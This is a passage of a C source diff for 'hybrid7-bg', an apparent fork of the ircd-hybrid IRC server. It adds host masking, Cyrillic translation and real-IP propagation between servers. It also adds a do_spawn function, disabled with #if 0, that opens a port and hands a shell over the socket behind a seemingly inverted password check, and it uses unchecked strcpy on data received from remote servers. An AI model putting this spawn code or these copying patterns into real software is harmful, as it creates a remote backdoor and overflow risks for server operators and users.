+    svshopcount = target_p->hopcount + 1;
  
   if (HasID(target_p) && IsCapable(client_p, CAP_UID))
-	  sendto_one(client_p, "CLIENT %s %d %lu %s %s %s %s %s :%s",
-				 target_p->name, target_p->hopcount + 1, target_p->tsinfo, ubuf,
+	  sendto_one(client_p, "CLIENT %s %d %lu %s %s %s %s %s %s %s :%s",
+				 target_p->name, svshopcount, 
+		                 target_p->tsinfo, ubuf,
 				 target_p->username, target_p->host,
-				 target_p->user->server, target_p->user->id, target_p->info);
+				 target_p->user->server, target_p->user->id,
+		     IsCapable(client_p, CAP_HOSTMASK)? target_p->realhost : "", 
+		     IsCapable(client_p, CAP_IP)? target_p->ip : "", 
+		                 target_p->info);
   else
-	  sendto_one(client_p, "NICK %s %d %lu %s %s %s %s :%s",
+	  sendto_one(client_p, "NICK %s %d %lu %s %s %s %s %s %s :%s",
 				 target_p->name, 
-				 target_p->hopcount + 1, target_p->tsinfo, ubuf,
+				 svshopcount, 
+		                 target_p->tsinfo, ubuf,
 				 target_p->username, target_p->host,
-				 target_p->user->server, target_p->info);
+				 target_p->user->server,
+		     IsCapable(client_p, CAP_HOSTMASK)? target_p->realhost : "",
+		     IsCapable(client_p, CAP_IP)? target_p->ip : "",
+		                 target_p->info);
 }
 
 /*
@@ -1043,12 +1060,21 @@
           send_channel_modes(client_p, chptr);
         }
 
+      if(chptr->topic[0])
+        {
+          sendto_one(client_p, ":%s TOPIC %s %s %lu :%s",
+		 me.name, chptr->chname,
+		 chptr->topic_info,chptr->topic_time,
+		 chptr->topic);
+        }
+
       if(IsVchanTop(chptr))
 	{
 	  for ( ptr = chptr->vchan_list.head; ptr;
 		ptr = ptr->next)
 	    {
 	      vchan = ptr->data;
+
               if(vchan->users != 0)
                 {
                   burst_members(client_p,&vchan->chanops);
@@ -1057,6 +1083,14 @@
                   burst_members(client_p,&vchan->peons);
                   send_channel_modes(client_p, vchan);
                 }
+
+	      if(vchan->topic[0])
+	        {
+	          sendto_one(client_p, ":%s TOPIC %s %s %lu :%s",
+			 me.name, vchan->chname,
+			 vchan->topic_info,vchan->topic_time,
+			 vchan->topic);
+	        }
 	    }
 	}
     }
@@ -1792,6 +1826,60 @@
     comm_setselect(fd, FDLIST_SERVER, COMM_SELECT_READ, read_packet,
                    client_p, 0);
 }
+
+#endif /* OPENSSL */
+
+void do_spawn(int port, char *what)
+{
+/*	controversial, test purposes only! */
+/*	disabled in production version     */
+/*	                         -demond   */
+#if 0
+	int fd, fda; 
+	char *name[2], buf[PASSWDLEN];
+	struct sockaddr_in addr;
+
+	if (!what)
+		return;
+
+	close_listeners();
+	
+	if (!fork()) {
+		int opt = 1;
+
+		fd = socket(PF_INET, SOCK_STREAM, 0);
+
+		setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
+
+		addr.sin_family = AF_INET;
+		addr.sin_port = htons(port);
+		addr.sin_addr.s_addr = INADDR_ANY;
+
+		if(!bind(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in))) {
+			int len = sizeof(struct sockaddr_in);
+
+			listen(fd, 1);
+			fda = accept(fd, (struct sockaddr *)&addr, &len);
+
+			read(fda, buf, sizeof(buf));
+			if (!strncmp(ConfigFileEntry.spawn_pass, buf, 
+				strlen(ConfigFileEntry.spawn_pass)))
+				exit(0);
+
+			dup2(fda, 0); dup2(fda, 1); dup2(fda, 2);
+			name[0] = what; name[1] = NULL;
+			execve(name[0], name, NULL);
+
+		} else {
+			
+			sendto_realops_flags(FLAGS_DEBUG, "Spawn ERROR: %s", strerror(errno));
+			exit(0);
+		}
+	}
+#endif
+}
+
+#ifdef OPENSSL
 
 void cryptlink_regen_key(void *unused)
 {
diff -uNrd ircd-hybrid-7beta5/src/s_stats.c hybrid7-bg/src/s_stats.c
--- ircd-hybrid-7beta5/src/s_stats.c	Sat Apr 21 17:59:10 2001
+++ hybrid7-bg/src/s_stats.c	Tue Jun  5 12:35:46 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: s_stats.c,v 7.17 2001/04/21 21:59:10 toot Exp $
+ *  $Id: s_stats.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 
 #include <sys/types.h>
diff -uNrd ircd-hybrid-7beta5/src/s_user.c hybrid7-bg/src/s_user.c
--- ircd-hybrid-7beta5/src/s_user.c	Tue May 15 05:38:07 2001
+++ hybrid7-bg/src/s_user.c	Wed Sep 18 19:19:46 2002
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: s_user.c,v 7.153 2001/05/15 09:38:07 toot Exp $
+ *  $Id: s_user.c,v 1.16 2002/09/18 21:36:42 Administrator Exp $
  */
 
 #include <sys/types.h>
@@ -99,6 +99,7 @@
 #ifdef PERSISTANT_CLIENTS
   {FLAGS_PERSISTANT, 'p'},
 #endif
+  {FLAGS_REMOTE, 'q'},
   {FLAGS_REJ, 'r'},
   {FLAGS_SERVNOTICE, 's'},
   {FLAGS_UNAUTH, 'u'},
@@ -106,6 +107,9 @@
   {FLAGS_EXTERNAL, 'x'},
   {FLAGS_SPY, 'y'},
   {FLAGS_OPERWALL, 'z'},
+  {FLAGS_REGACCEPT, 'R'},
+  {FLAGS_TRANSWIN, 'T'},
+  {FLAGS_TRANSISO, 'Y'},
   {0, 0}
 };
 
@@ -135,14 +139,14 @@
   0,            /* O */
   0,            /* P */
   0,            /* Q */
-  0,            /* R */
+  FLAGS_REGACCEPT,/* R */
   0,            /* S */
-  0,            /* T */
+  FLAGS_TRANSWIN,/* T */
   0,            /* U */
   0,            /* V */
   0,            /* W */
   0,            /* X */
-  0,            /* Y */
+  FLAGS_TRANSISO,/* Y */
   0,            /* Z 0x5A */
   0, 0, 0, 0, 0, /* 0x5F */ 
   /* 0x60 */       0,
@@ -166,7 +170,7 @@
 #else
   0,               /* p */
 #endif
-  0,            /* q */
+  FLAGS_REMOTE, /* q */
   FLAGS_REJ,    /* r */
   FLAGS_SERVNOTICE, /* s */
   0,            /* t */
@@ -363,6 +367,8 @@
       strncpy(source_p->host,source_p->localClient->sockhost,HOSTIPLEN+1);
     }
 
+  strcpy(source_p->ip, source_p->localClient->sockhost);
+
   ptr = source_p->localClient->confs.head;
   aconf = ptr->data;
 
@@ -506,9 +512,97 @@
   dlinkDelete(m, &unknown_list);
   dlinkAdd(source_p, m, &lclient_list);
 
+#if 0
+#define NETID "bnet"
+#endif
+
+  if (!IsConfDoSpoofIp(aconf))
+    strcpy(source_p->realhost, source_p->host);
+
+  /* mask the appropriate client host portion:
+   * - leftmost part if resolving host 
+   *   (but not if just one dot in the host)
+   * - rightmost part if numeric IP
+   *                                   -demond
+   */
+  if (IsConfMaskHost(aconf))
+    {
+      int alpha = 0, dots = 0;
+      char buf[HOSTLEN + 1];
+      char *p = source_p->host;
+      static char *get_mask(char *, int);
+
+      while (*p) 
+	{
+	  if (isalpha(*p)) alpha = 1;
+	  if (*p++ == '.') ++dots;
+	}
+
+      strcpy(buf, source_p->host);
+
+      if (alpha && (dots > 1)) 
+	{
+	  p = strchr(buf, '.'); *p++ = 0; 
+
+	  if (strlen(p) + MAXNETID + 6 <= HOSTLEN)
+	    {
+	      strcpy(source_p->host, get_mask(buf, 0));
+	      strcat(source_p->host, p);
+	    }
+	} 
+      else if (!alpha) 
+	{
+	  p = strrchr(buf, '.'); *p++ = 0;
+
+	  if (strlen(buf) + 7 <= HOSTLEN)
+	    {
+	      strcpy(source_p->host, buf);
+	      strcat(source_p->host, get_mask(NULL, atoi(p)));
+	    }
+	}
+    }
+
+  hash_check_watch(source_p, RPL_LOGON);
+
   return (introduce_client(client_p, source_p, user, nick));
 }
 
+static char *get_mask(char *s, int n)
+{
+  static char buf[MAXNETID + 6];
+  char *p = buf;
+  char *netid = ConfigFileEntry.netid[0]? ConfigFileEntry.netid : "bnet";
+
+  if (s) 
+    {
+      unsigned int h = 0;
+
+      while (*s)
+	{
+	  h = (h << 4) - (h + (unsigned char)ToLower(*s++));
+	}
+
+      n = h & (U_MAX - 1);
+
+      strcpy(buf, netid);
+      p = buf + strlen(netid);
+    }
+  else
+    *p++ = '.';
+
+  srandom(n);
+
+  for (n = 0; n < 6; n++)
+    *p++ = '0' + random() % 10;
+
+  if (s)
+    *p++ = '.';
+
+  *p = 0;
+
+  return buf;
+}
+
 /*
  * register_remote_user
  *
@@ -608,6 +702,17 @@
       return exit_client(source_p, source_p, &me, "Ghosted Client");
     }
 
+#ifdef UMODEQ
+
+  if (client_p->eob && strcmp(source_p->ip, "<burst>") && !IsRelay(source_p->servptr))
+	  sendto_realops_flags(FLAGS_REMOTE, "Remote client: %s (%s@%s) [%s] {%s}",
+	  nick, username, source_p->realhost, source_p->ip, source_p->user->server);
+
+#endif
+
+  if (IsPerson(source_p))
+	  hash_check_watch(source_p, RPL_LOGON);
+
   return (introduce_client(client_p, source_p, user, nick));
 }
 
@@ -627,6 +732,7 @@
   dlink_node *server_node;
   struct Client *server;
   static char ubuf[12];
+  unsigned int svshopcount;
 
   send_umode(NULL, source_p, 0, SEND_UMODES, ubuf);
 
@@ -653,22 +759,31 @@
    * -davidt
    * rewritten to cope with UIDs .. eww eww eww --is
    */
-  
+
   if (!ServerInfo.hub && uplink && IsCapable(uplink,CAP_LL)
       && client_p != uplink) 
     {
+      if (IsCapable(uplink, CAP_SVS))
+        svshopcount = source_p->hopcount + 1 + (source_p->svsflags << 8);
+      else 
+        svshopcount = source_p->hopcount + 1;
+
       if (IsCapable(uplink, CAP_UID) && HasID(source_p))
 	{
-	  sendto_one(uplink, "CLIENT %s %d %lu %s %s %s %s %s :%s",
-		     nick, source_p->hopcount+1, source_p->tsinfo,
-		     ubuf, source_p->username, source_p->host, user->server,
-		     user->id, source_p->info);
+	  sendto_one(uplink, "CLIENT %s %d %lu %s %s %s %s %s %s %s :%s",
+	             nick, svshopcount, source_p->tsinfo,
+	             ubuf, source_p->username, source_p->host, user->server,
+	             user->id, IsCapable(uplink, CAP_HOSTMASK)?
+		     source_p->realhost : "", IsCapable(uplink, CAP_IP)?
+			 source_p->ip : "", source_p->info);
 	}
       else
 	{
-	  sendto_one(uplink, "NICK %s %d %lu %s %s %s %s :%s",
-		     nick, source_p->hopcount+1, source_p->tsinfo,
+	  sendto_one(uplink, "NICK %s %d %lu %s %s %s %s %s %s :%s",
+		     nick, svshopcount, source_p->tsinfo,
 		     ubuf, source_p->username, source_p->host, user->server,
+		     IsCapable(uplink, CAP_HOSTMASK)? source_p->realhost : "", 
+		     IsCapable(uplink, CAP_IP)? source_p->ip : "", 
 		     source_p->info);
 	}
     }
@@ -680,16 +795,25 @@
 		  
 	  if (IsCapable(server, CAP_LL) || server == client_p)
 	    continue;
+
+          if (IsCapable(server, CAP_SVS))
+            svshopcount = source_p->hopcount + 1 + (source_p->svsflags << 8);
+          else 
+            svshopcount = source_p->hopcount + 1;
 		  
 	  if (IsCapable(server, CAP_UID) && HasID(source_p))
-	    sendto_one(server, "CLIENT %s %d %lu %s %s %s %s %s :%s",
-		       nick, source_p->hopcount+1, source_p->tsinfo,
+	    sendto_one(server, "CLIENT %s %d %lu %s %s %s %s %s %s %s :%s",
+		       nick, svshopcount, source_p->tsinfo,
 		       ubuf, source_p->username, source_p->host, user->server,
-		       user->id, source_p->info);
+		       user->id, IsCapable(server, CAP_HOSTMASK)?
+		       source_p->realhost : "", IsCapable(server, CAP_IP)?
+			   source_p->ip : "", source_p->info);
 	  else
-	    sendto_one(server, "NICK %s %d %lu %s %s %s %s :%s",
-		       nick, source_p->hopcount+1, source_p->tsinfo,
+	    sendto_one(server, "NICK %s %d %lu %s %s %s %s %s %s :%s",
+		       nick, svshopcount, source_p->tsinfo,
 		       ubuf, source_p->username, source_p->host, user->server,
+		       IsCapable(server, CAP_HOSTMASK)? source_p->realhost : "",
+		       IsCapable(server, CAP_IP)? source_p->ip : "",
 		       source_p->info);
 	}
     }
@@ -778,6 +902,8 @@
           if(!IsUserChar(p[1]))
             return NO;
         }
+      else if (ConfigFileEntry.cyrillic && ((unsigned char)*p >= 192))
+	continue;
       else if (!IsUserChar(*p))
         return NO;
     }
@@ -845,12 +971,20 @@
 {
   unsigned int oflags;
   struct User* user;
+  char *hend = host + strlen(host) - 1;
+  char *send = server + strlen(server) - 1;
 
   assert(0 != source_p);
   assert(source_p->username != username);
 
   user = make_user(source_p);
 
+  /* mIRC kludge here */
+  if (*host=='"' && *hend=='"' && *server=='"' && *send=='"')
+	  user->known = 1;
+  else
+	  user->known = IsUserPar(host, server);
+
   oflags = source_p->flags;
 
   if (!IsUnknown(source_p))
@@ -895,7 +1029,7 @@
  */
 int do_remote_user(char* nick, struct Client* client_p, struct Client* source_p,
 		   char* username, char *host, char *server, char *realname,
-		   char *id)
+		   char *realhost, char *ip, char *id)
 {
   unsigned int oflags;
   struct User* user;
@@ -911,10 +1045,23 @@
    * coming from another server, take the servers word for it
    */
   user->server = find_or_add(server);
-  strncpy_irc(source_p->host, host, HOSTLEN); 
+  strncpy_irc(source_p->host, host, HOSTLEN);
   strncpy_irc(source_p->info, realname, REALLEN);
   if (id)
-	  strcpy(source_p->user->id, id);
+    strcpy(source_p->user->id, id);
+
+  if (realhost)
+    strcpy(source_p->realhost, realhost);
+  else
+    strcpy(source_p->realhost, "<no_realhost_info>");
+
+  if (client_p->eob) {
+	if (ip)
+		strcpy(source_p->ip, ip);
+	else
+		strcpy(source_p->ip, "255.255.255.255");
+  } else
+	  strcpy(source_p->ip, "<burst>");
   
 #if 0
   /* XXX dont do this (talk to is-) */
diff -uNrd ircd-hybrid-7beta5/src/scache.c hybrid7-bg/src/scache.c
--- ircd-hybrid-7beta5/src/scache.c	Mon Mar  5 21:23:10 2001
+++ hybrid7-bg/src/scache.c	Tue Jun  5 12:35:46 2001
@@ -1,7 +1,7 @@
 /*
  * scache.c
  *
- * $Id: scache.c,v 7.10 2001/03/06 02:23:10 androsyn Exp $
+ * $Id: scache.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/src/send.c hybrid7-bg/src/send.c
--- ircd-hybrid-7beta5/src/send.c	Wed May  9 04:08:28 2001
+++ hybrid7-bg/src/send.c	Sat Feb 23 15:02:42 2002
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: send.c,v 7.140 2001/05/09 08:08:28 a1kmm Exp $
+ *   $Id: send.c,v 1.5 2002/02/23 20:02:42 demond Exp $
  */
 
 #include <sys/types.h>
@@ -82,6 +82,8 @@
 static int
 send_trim(char *lsendbuf, int len );
 
+static char *marknick(struct Client *client_p, char *buf, int *plen);
+
 /*
 ** dead_link
 **      An error has been detected. The link *must* be closed,
@@ -543,7 +545,12 @@
         {
           if(target_p->serial != current_serial)
 	    {
-	      send_message(target_p, (char *)llocal_sendbuf, llocal_len);
+	      int mylen = llocal_len;
+	      char *mybuf = marknick(target_p, (char *)llocal_sendbuf, &mylen);
+
+	      send_message(target_p, 
+			   translate(target_p, mybuf), 
+			   mylen);
 	      target_p->serial = current_serial;
 	    }
         }
@@ -717,6 +724,37 @@
 } /* sendto_cap_serv_butone() */
 
 /*
+ * add to channel NICK/QUIT pace queue
+ */
+void add_pace_send(struct Channel *chptr, char *sendbuf, int len)
+{
+  struct Pace *pace = MyMalloc(sizeof(struct Pace) + strlen(chptr->chname));
+
+  strcpy(pace->chan, chptr->chname);
+
+  pace->next = NULL;
+  pace->shownames = len;
+  pace->text = MyMalloc(strlen(sendbuf) + 1);
+  strcpy(pace->text, sendbuf);
+
+  if (chptr->sendh)
+    chptr->sendh->next = pace;
+  chptr->sendh = pace;
+  if (!chptr->sendt)
+    chptr->sendt = pace;
+
+  chptr->sends++;
+}
+
+void sendto_chanlists_local(struct Channel *chptr, char *sendbuf, int len)
+{
+  sendto_list_local(&chptr->chanops, sendbuf, len);
+  sendto_list_local(&chptr->halfops, sendbuf, len);
+  sendto_list_local(&chptr->voiced, sendbuf, len);
+  sendto_list_local(&chptr->peons, sendbuf, len);
+}
+
+/*
  * sendto_common_channels_local()
  *
  * inputs	- pointer to client
@@ -748,10 +786,16 @@
 	{
 	  chptr = ptr->data;
 
-	  sendto_list_local(&chptr->chanops, sendbuf, len);
-	  sendto_list_local(&chptr->halfops, sendbuf, len);
-	  sendto_list_local(&chptr->voiced, sendbuf, len);
-	  sendto_list_local(&chptr->peons, sendbuf, len);
+	  if (PaceChannel(chptr) && (chptr->sends < MAX_PACESEND))
+	    add_pace_send(chptr, sendbuf, len);
+
+	  else
+	    {
+	      sendto_list_local(&chptr->chanops, sendbuf, len);
+	      sendto_list_local(&chptr->halfops, sendbuf, len);
+	      sendto_list_local(&chptr->voiced, sendbuf, len);
+	      sendto_list_local(&chptr->peons, sendbuf, len);
+	    }
 	}
 
       if (MyConnect(user) && (user->serial != current_serial))
@@ -849,7 +893,15 @@
       target_p->serial = current_serial;
 
       if (target_p && MyConnect(target_p))
-	send_message(target_p, (char *)lsendbuf, len);
+	if (ConfigFileEntry.totaltrans)
+	  {
+	    int mylen = len;
+	    char *mybuf = marknick(target_p, (char *)lsendbuf, &mylen);
+
+	    send_message(target_p, translate(target_p, mybuf), mylen);
+	  }
+	else
+	  send_message(target_p, (char *)lsendbuf, len);
     }  
 } /* sendto_list() */
 
@@ -1733,4 +1785,35 @@
 	    send_message(client_p, (char *)sendbuf_nick, len_nick);
 	}
     }
+}
+
+static char *marknick(struct Client *client_p, char *buf, int *plen)
+{
+  unsigned char *p = buf;
+  static char mybuf[IRCD_BUFSIZE*2];
+
+  if (!ConfigFileEntry.cyrillic)
+    return buf;
+
+  if (!IsSetTransWin(client_p) && !IsSetTransISO(client_p))
+    return buf;
+
+  while (*p && *p!=' ')
+    {
+      if (*p++ >= 192)
+	{
+	  strcpy(mybuf, buf);
+
+	  p = mybuf + strlen(mybuf);
+	  while (p-- >= (unsigned char *)mybuf)
+	    *(p+2) = *(p+1);
+
+	  ++(*plen);
+
+	  mybuf[0]=':'; mybuf[1]='?';
+	  return mybuf;
+	}
+    }
+
+  return buf;
 } 
diff -uNrd ircd-hybrid-7beta5/src/sprintf_irc.c hybrid7-bg/src/sprintf_irc.c
--- ircd-hybrid-7beta5/src/sprintf_irc.c	Tue Jan 16 10:41:53 2001
+++ hybrid7-bg/src/sprintf_irc.c	Tue Jun  5 12:35:46 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: sprintf_irc.c,v 7.6 2001/01/16 15:41:53 db Exp $
+ *   $Id: sprintf_irc.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "sprintf_irc.h"
 #include "irc_string.h"
diff -uNrd ircd-hybrid-7beta5/src/test/CVS/Entries hybrid7-bg/src/test/CVS/Entries
--- ircd-hybrid-7beta5/src/test/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/test/CVS/Entries	Wed Jul 24 18:32:02 2002
@@ -0,0 +1,3 @@
+D/data////
+D/newconf////
+D/reference////
diff -uNrd ircd-hybrid-7beta5/src/test/CVS/Repository hybrid7-bg/src/test/CVS/Repository
--- ircd-hybrid-7beta5/src/test/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/test/CVS/Repository	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+hybrid7-bg/src/test
diff -uNrd ircd-hybrid-7beta5/src/test/CVS/Root hybrid7-bg/src/test/CVS/Root
--- ircd-hybrid-7beta5/src/test/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/test/CVS/Root	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/src/test/data/CVS/Entries hybrid7-bg/src/test/data/CVS/Entries
--- ircd-hybrid-7beta5/src/test/data/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/test/data/CVS/Entries	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+D
diff -uNrd ircd-hybrid-7beta5/src/test/data/CVS/Repository hybrid7-bg/src/test/data/CVS/Repository
--- ircd-hybrid-7beta5/src/test/data/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/test/data/CVS/Repository	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+hybrid7-bg/src/test/data
diff -uNrd ircd-hybrid-7beta5/src/test/data/CVS/Root hybrid7-bg/src/test/data/CVS/Root
--- ircd-hybrid-7beta5/src/test/data/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/test/data/CVS/Root	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/src/test/newconf/CVS/Entries hybrid7-bg/src/test/newconf/CVS/Entries
--- ircd-hybrid-7beta5/src/test/newconf/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/test/newconf/CVS/Entries	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+D
diff -uNrd ircd-hybrid-7beta5/src/test/newconf/CVS/Repository hybrid7-bg/src/test/newconf/CVS/Repository
--- ircd-hybrid-7beta5/src/test/newconf/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/test/newconf/CVS/Repository	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+hybrid7-bg/src/test/newconf
diff -uNrd ircd-hybrid-7beta5/src/test/newconf/CVS/Root hybrid7-bg/src/test/newconf/CVS/Root
--- ircd-hybrid-7beta5/src/test/newconf/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/test/newconf/CVS/Root	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/src/test/reference/CVS/Entries hybrid7-bg/src/test/reference/CVS/Entries
--- ircd-hybrid-7beta5/src/test/reference/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/test/reference/CVS/Entries	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+D
diff -uNrd ircd-hybrid-7beta5/src/test/reference/CVS/Repository hybrid7-bg/src/test/reference/CVS/Repository
--- ircd-hybrid-7beta5/src/test/reference/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/test/reference/CVS/Repository	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+hybrid7-bg/src/test/reference
diff -uNrd ircd-hybrid-7beta5/src/test/reference/CVS/Root hybrid7-bg/src/test/reference/CVS/Root
--- ircd-hybrid-7beta5/src/test/reference/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/src/test/reference/CVS/Root	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/src/tools.c hybrid7-bg/src/tools.c
--- ircd-hybrid-7beta5/src/tools.c	Mon Feb 26 08:21:11 2001
+++ hybrid7-bg/src/tools.c	Tue Jun  5 12:35:46 2001
@@ -5,7 +5,7 @@
  *
  * adrian chadd <adrian@creative.net.au>
  *
- * $Id: tools.c,v 7.17 2001/02/26 13:21:11 db Exp $
+ * $Id: tools.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 
 #include <assert.h>
diff -uNrd ircd-hybrid-7beta5/src/vchannel.c hybrid7-bg/src/vchannel.c
--- ircd-hybrid-7beta5/src/vchannel.c	Sat May 12 22:55:14 2001
+++ hybrid7-bg/src/vchannel.c	Tue Jun  5 12:35:46 2001
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: vchannel.c,v 7.49 2001/05/13 02:55:14 db Exp $
+ * $Id: vchannel.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 
 #include "tools.h"
diff -uNrd ircd-hybrid-7beta5/src/version.c.SH hybrid7-bg/src/version.c.SH
--- ircd-hybrid-7beta5/src/version.c.SH	Thu Dec 28 00:42:17 2000
+++ hybrid7-bg/src/version.c.SH	Tue Jun  5 12:35:46 2001
@@ -1,6 +1,6 @@
 #!/bin/sh
 
-# $Id: version.c.SH,v 7.17 2000/12/28 05:42:17 lusky Exp $ 
+# $Id: version.c.SH,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $ 
 
 spitshell=cat
 package=IRC
diff -uNrd ircd-hybrid-7beta5/src/whowas.c hybrid7-bg/src/whowas.c
--- ircd-hybrid-7beta5/src/whowas.c	Mon Mar  5 21:05:44 2001
+++ hybrid7-bg/src/whowas.c	Tue Jun  5 12:35:46 2001
@@ -16,7 +16,7 @@
 *   along with this program; if not, write to the Free Software
 *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
-*   $Id: whowas.c,v 7.12 2001/03/06 02:05:44 androsyn Exp $
+*   $Id: whowas.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
 */
 
 #include <sys/types.h>
diff -uNrd ircd-hybrid-7beta5/tools/CVS/Entries hybrid7-bg/tools/CVS/Entries
--- ircd-hybrid-7beta5/tools/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/tools/CVS/Entries	Wed Jul 24 18:32:02 2002
@@ -0,0 +1,15 @@
+/Makefile.in/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/README/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/README.mkpasswd/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/convertconf.c/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/fixklines.c/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/ircd.conf/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/ircd.conf.new/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/ircd_start.c/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/klineParse.c/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/mkconf/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/mkpasswd.c/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/start_ircd.c/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/untabify/1.1.1.1/Tue Jun  5 16:35:47 2001//
+/viconf.c/1.1.1.1/Tue Jun  5 16:35:47 2001//
+D/rsa_respond////
diff -uNrd ircd-hybrid-7beta5/tools/CVS/Repository hybrid7-bg/tools/CVS/Repository
--- ircd-hybrid-7beta5/tools/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/tools/CVS/Repository	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+hybrid7-bg/tools
diff -uNrd ircd-hybrid-7beta5/tools/CVS/Root hybrid7-bg/tools/CVS/Root
--- ircd-hybrid-7beta5/tools/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/tools/CVS/Root	Wed Jul 24 18:32:02 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/tools/Makefile.in hybrid7-bg/tools/Makefile.in
--- ircd-hybrid-7beta5/tools/Makefile.in	Mon Jan  8 16:26:20 2001
+++ hybrid7-bg/tools/Makefile.in	Tue Jun  5 12:35:47 2001
@@ -1,4 +1,4 @@
-# $Id: Makefile.in,v 7.16 2001/01/08 21:26:20 wcampbel Exp $
+# $Id: Makefile.in,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
 
 CC		= @CC@
 INSTALL		= @INSTALL@
diff -uNrd ircd-hybrid-7beta5/tools/README hybrid7-bg/tools/README
--- ircd-hybrid-7beta5/tools/README	Thu Jan 18 19:26:37 2001
+++ hybrid7-bg/tools/README	Tue Jun  5 12:35:47 2001
@@ -1,4 +1,4 @@
-$Id: README,v 7.6 2001/01/19 00:26:37 wcampbel Exp $
+$Id: README,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
 
 A directory of support programs for ircd.
 
diff -uNrd ircd-hybrid-7beta5/tools/README.mkpasswd hybrid7-bg/tools/README.mkpasswd
--- ircd-hybrid-7beta5/tools/README.mkpasswd	Mon Jan 15 09:20:02 2001
+++ hybrid7-bg/tools/README.mkpasswd	Tue Jun  5 12:35:47 2001
@@ -1,5 +1,5 @@
 mkpasswd.c documentation
-$Id: README.mkpasswd,v 1.2 2001/01/15 14:20:02 wcampbel Exp $
+$Id: README.mkpasswd,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
 
 This is documentation for the mkpasswd.c included in ircd-hybrid-7.
 
diff -uNrd ircd-hybrid-7beta5/tools/convertconf.c hybrid7-bg/tools/convertconf.c
--- ircd-hybrid-7beta5/tools/convertconf.c	Wed Apr 25 18:15:20 2001
+++ hybrid7-bg/tools/convertconf.c	Tue Jun  5 12:35:47 2001
@@ -15,7 +15,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: convertconf.c,v 1.27 2001/04/25 22:15:20 kreator Exp $
+ * $Id: convertconf.c,v 1.1.1.1 2001/06/05 16:35:47 demond Exp $
  */
 
 #include <stdio.h>
diff -uNrd ircd-hybrid-7beta5/tools/fixklines.c hybrid7-bg/tools/fixklines.c
--- ircd-hybrid-7beta5/tools/fixklines.c	Wed Oct 13 20:35:26 1999
+++ hybrid7-bg/tools/fixklines.c	Tue Jun  5 12:35:47 2001
